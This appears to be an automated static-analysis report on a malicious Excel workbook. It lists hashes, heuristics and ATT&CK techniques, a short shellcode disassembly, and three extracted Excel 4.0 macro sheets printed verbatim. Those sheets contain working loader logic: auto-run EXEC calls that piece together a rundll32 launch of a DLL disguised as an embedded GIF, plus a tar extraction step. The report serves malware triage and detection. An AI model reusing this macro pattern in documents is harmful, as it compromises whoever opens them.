Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5c0203fb5d0338c5…

MALICIOUS

Office (OOXML)

430.3 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-29
MD5: 5a3538a8eb9398174b102494c5f4508b SHA-1: 9651b30427da7326f73f9421cb37519fc3a78409 SHA-256: 5c0203fb5d0338c5c697df4e8088178f6cb8affc43e731a437ebda84c4694e4d
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains critical Excel 4.0 macro sheet heuristics, including the use of dangerous functions like EXEC and GOTO, and an Auto_Open defined name. These macros are designed to download and execute a second-stage payload, as indicated by the reference to VirtualAlloc and VirtualProtect APIs. The ClamAV detection name 'Xls.Downloader' further supports this assessment.

Heuristics 11

  • ClamAV: Xls.Downloader.GreenEnable06210-9869360-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable06210-9869360-0
  • Excel 4.0 macro sheet (3 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: GOTO, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • PEB access via FS segment (x86) high SC_PEB_ACCESS
    PEB access via FS segment (x86)
    Disassembly
    Attempted x86 opcode disassembly
    0003089B  64a130000000      mov eax, dword ptr fs:[0x30]
000308A1  bd3167f0cd        mov ebp, 0xcdf06731
000308A6  e9befcffff        jmp 0x30569
000308AB  81fd411b2273      cmp ebp, 0x73221b41
000308B1  0f8442020000      je 0x30af9
000308B7  81fdde24f17d      cmp ebp, 0x7df124de
000308BD  0f85a6fcffff      jne 0x30569
000308C3  e9a6020000        jmp 0x30b6e
000308C8  bd831cd01e        mov ebp, 0x1ed01c83
000308CD  c744240c00000000  mov dword ptr [esp + 0xc], 0
000308D5  e98ffcffff        jmp 0x30569
000308DA  bd6377b736        mov ebp, 0x36b77763
000308DF  e985fcffff        jmp 0x30569
000308E4  8b442410          mov eax, dword ptr [esp + 0x10]
000308E8  bdcb29bf01        mov ebp, 0x1bf29cb
000308ED  bfcb29bf01        mov edi, 0x1bf29cb
000308F2  8b00              mov eax, dword ptr [eax]
000308F4  8b4c2408          mov ecx, dword ptr [esp + 8]
000308F8  83c014            add eax, 0x14
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 4 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1648 bytes
SHA-256: 3b0842c3feb9ed67b33a34a48dfc280d3096f5a2c314be3f5faf78e2baa667ed
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{92BAA9A6-CCD7-4C96-B244-8027D75B3DA4}"><dimension ref="H23:I28"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="9.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="2"/><col min="8" max="8" width="14.85546875" style="2" bestFit="1" customWidth="1"/><col min="9" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="23" spans="8:9" x14ac:dyDescent="0.25"><c r="H23" s="2" t="b"><f>SAVE.COPY.AS(I23)</f><v>0</v></c><c r="I23" s="2" t="s"><v>0</v></c></row><row r="28" spans="8:9" x14ac:dyDescent="0.25"><c r="H28" s="2" t="e"><f>GOTO(Nolaert!AK19)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1804 bytes
SHA-256: 7d4a55654500227df147871fd9677ba5c24aa7c22083d410272b3fc52dfde2a3
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="AK703:AK717"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="14.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="36" width="14.140625" style="2"/><col min="37" max="37" width="37.42578125" style="2" bestFit="1" customWidth="1"/><col min="38" max="16384" width="14.140625" style="2"/></cols><sheetData><row r="703" spans="37:37" x14ac:dyDescent="0.25"><c r="AK703" s="2" t="b"><f>EXEC(Bkidydj!L15&amp;Bkidydj!L16&amp;Bkidydj!L17)=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="706" spans="37:37" x14ac:dyDescent="0.25"><c r="AK706" s="2" t="b"><f>WAIT(NOW()+"00:00:07")</f><v>0</v></c></row><row r="717" spans="37:37" x14ac:dyDescent="0.25"><c r="AK717" s="2" t="e"><f>GOTO(Bkidydj!G5)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 2260 bytes
SHA-256: 83e3d47a6c45235934593bf9c8e8c38200b3b0117516d839726b31aeac579c0f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{72FD7C7A-A3BA-4BD4-A707-DDD14281DB2B}"><dimension ref="E14:L31"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="8.7109375" style="2"/><col min="7" max="7" width="5.85546875" style="2" customWidth="1"/><col min="8" max="16384" width="8.7109375" style="2"/></cols><sheetData><row r="14" spans="7:12" x14ac:dyDescent="0.25"><c r="G14" s="2"><f>EXEC(E29&amp;E30&amp;E31)=NOW()</f><v>0</v></c></row><row r="15" spans="7:12" x14ac:dyDescent="0.25"><c r="L15" s="2" t="str"><f>"tar -x"</f><v>tar -x</v></c></row><row r="16" spans="7:12" x14ac:dyDescent="0.25"><c r="L16" s="2" t="s"><v>2</v></c></row><row r="17" spans="5:12" x14ac:dyDescent="0.25"><c r="L17" s="2" t="s"><v>1</v></c></row><row r="19" spans="5:12" x14ac:dyDescent="0.25"><c r="G19" s="2" t="b"><f>HALT()</f><v>0</v></c></row><row r="29" spans="5:12" x14ac:dyDescent="0.25"><c r="E29" s="2" t="str"><f>"run"</f><v>run</v></c></row><row r="30" spans="5:12" x14ac:dyDescent="0.25"><c r="E30" s="2" t="str"><f>"dll32 ..\xl\media\im"</f><v>dll32 ..\xl\media\im</v></c></row><row r="31" spans="5:12" x14ac:dyDescent="0.25"><c r="E31" s="2" t="str"><f>"age2.gif,StartW"</f><v>age2.gif,StartW</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.